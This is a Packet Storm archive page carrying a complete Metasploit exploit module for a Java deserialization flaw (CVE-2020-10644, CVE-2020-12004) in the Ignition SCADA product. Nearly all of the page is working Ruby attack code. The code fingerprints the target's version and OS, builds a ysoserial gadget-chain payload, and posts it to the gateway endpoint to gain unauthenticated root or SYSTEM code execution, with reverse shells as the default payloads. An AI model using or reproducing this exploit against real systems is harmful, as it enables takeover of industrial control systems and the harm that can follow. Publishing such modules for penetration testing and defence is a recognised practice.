exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Inductive Automation Ignition Remote Code Execution

Inductive Automation Ignition Remote Code Execution
Posted Jun 25, 2020
Authored by Pedro Ribeiro, Radek Domanski | Site metasploit.com

This Metasploit module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product, versions 8.0.0 to (and including) 8.0.7. This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows. The default configuration is exploitable by an unauthenticated attacker, which can achieve remote code execution as SYSTEM on a Windows installation and root on Linux. The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro + Radek Domanski).

tags | exploit, java, remote, root, code execution
systems | linux, windows
advisories | CVE-2020-10644, CVE-2020-12004
SHA-256 | 9d49478c9a416ef64a062b712cd22c68e5b37e2e0f0dbc80fc3655a1c2e3d686

Inductive Automation Ignition Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Inductive Automation Ignition Remote Code Execution',
'Description' => %q{
This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,
versions 8.0.0 to (and including) 8.0.7.
This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.
The default configuration is exploitable by an unauthenticated attacker, which can achieve
remote code execution as SYSTEM on a Windows installation and root on Linux.
The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md'],
[ 'CVE', '2020-10644'],
[ 'CVE', '2020-12004'],
[ 'ZDI', '20-685'],
[ 'ZDI', '20-686'],
],
'Privileged' => true,
'Platform' => %w[unix win],
'DefaultOptions' =>
{
'WfsDelay' => 15
},
'Targets' =>
[
[ 'Automatic', {} ],
[
'Windows',
'Platform' => 'win',
'DefaultOptions' =>
{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
],
[
'Linux',
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' =>
{ 'PAYLOAD' => 'cmd/unix/reverse_python' },
]
],
'DisclosureDate' => '2020-06-11',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(8088)
]
)
end

def version_get
res = send_request_cgi({
'uri' => '/system/gwinfo',
'method' => 'GET'
})

if res && res.code == 302
# try again, versions < 8 use a different URL
res = send_request_cgi({
'uri' => '/main/system/gwinfo',
'method' => 'GET'
})
end

if res && res.code == 200
# Regexp to get the version of the server
version = res.body.match(/;Version=([0-9\.]{3,});/)
if version
return version[1]
end
end
return ''
end

def os_get
res = send_request_cgi({
'uri' => '/system/gwinfo',
'method' => 'GET'
})
if res && res.code == 200
# Regexp to get the OS
os = res.body.match(/OS=([a-zA-Z0-9\s]+);/)
return os[1]
end
end

def create_java_str(payload)
(
"\xac\xed" + # STREAM_MAGIC
"\x00\x05" + # STREAM_VERSION
"\x74" + # String object
[payload.length].pack('n') + # length
payload
).force_encoding('ascii') # is this needed in msf?
end

def check
version = Gem::Version.new(version_get)
if version.segments.length < 3
fail_with(Failure::Unknown, 'Failed to obtain target version')
end
print_status("#{peer} - Detected version #{version}")
if version >= Gem::Version.new('8.0.0') && version <= Gem::Version.new('8.0.7')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def pick_target
os = os_get
if os.include?('Windows')
return targets[1]
elsif os.include?('Linux')
return targets[2]
else
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail out.")
end
end

def exploit
# Check if automatic target selection is set
if target.name == 'Automatic'
my_target = pick_target
else
my_target = target
end
print_status("#{peer} - Attacking #{my_target.name} target")

# <version> is a CRC32 calculated by the server that we didn't want to reverse
# However in com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
# (line 383 of gateway-8.0.7.jar)
# ... it will helpfully ignore the version if set to 0
data =
'<?xml version="1.0" encoding="UTF-8"?><requestwrapper><version>0</version><scope>2</scope><message><messagetype>199</messagetype><messagebody>'\
'<arg name="funcId"><![CDATA[ProjectDownload]]></arg><arg name="subFunction"><![CDATA[getDiff]]></arg><arg name="arg" index="0">'\
'<![CDATA['

if my_target.name == 'Windows'
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })
else
cmd = payload.encoded
end

version = Gem::Version.new(version_get)

if version
print_status("#{peer} - Detected version #{version}")
else
print_error("#{peer} - Target has an unknown version, this might not work...")
end

# Version 8.0.0 doesn't work with CommonsBeanutils1, but CommonsCollections6 works!
#
# An alternative to this would be GET /system/launchmf/D which will helpfully return
# a list of all the jars in the system, letting us pick the right gadget chain.
# However only 8.0.0 differs, so let's just have a special case for that.
if version == Gem::Version.new('8.0.0')
lib = 'CommonsCollections6'
else
lib = 'CommonsBeanutils1'
end
payload = ::Msf::Util::JavaDeserialization.ysoserial_payload(lib, cmd)
payload = Rex::Text.encode_base64(payload)
payload = create_java_str(payload)
payload = Rex::Text.encode_base64(payload)
data += payload

data += ']]></arg></messagebody></message><locale><l>en</l><c>GB</c><v></v></locale></requestwrapper>'

print_status("#{peer} - Sending payload...")

res = send_request_cgi({
'uri' => '/system/gateway',
'method' => 'POST',
'data' => data
})

if res&.body&.include?('Unable to load project diff.')
print_good("#{peer} - Success, shell incoming!")
else
print_error("#{peer} - Something is not right, try again?")
end
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close